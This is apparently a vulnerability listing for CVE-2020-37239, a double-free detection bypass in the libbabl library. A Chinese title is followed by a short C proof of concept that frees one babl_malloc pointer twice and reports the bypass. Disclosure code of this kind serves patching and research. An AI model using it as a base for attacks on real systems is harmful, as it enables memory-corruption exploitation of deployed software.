CVE-2020-37239 libbabl双重释放检测绕过漏洞

#include <babl/babl.h> #include <stdio.h> #include <stdlib.h> int main() { // Initialize the babl library babl_init(); // Allocate memory using the vulnerable library function void *ptr = babl_malloc(64); printf("Allocated pointer: %p\n", ptr); // First free: This triggers the libc free, which overwrites the babl signature // with its own metadata (fd/bk pointers). babl_free(ptr); printf("Freed pointer for the first time.\n"); // Second free: Due to the signature overwrite, the double free detection // logic in babl_free() is bypassed, leading to a Double Free vulnerability. printf("Attempting second free...\n"); babl_free(ptr); printf("Exploit successful: Double free detection bypassed.\n"); babl_exit(); return 0; }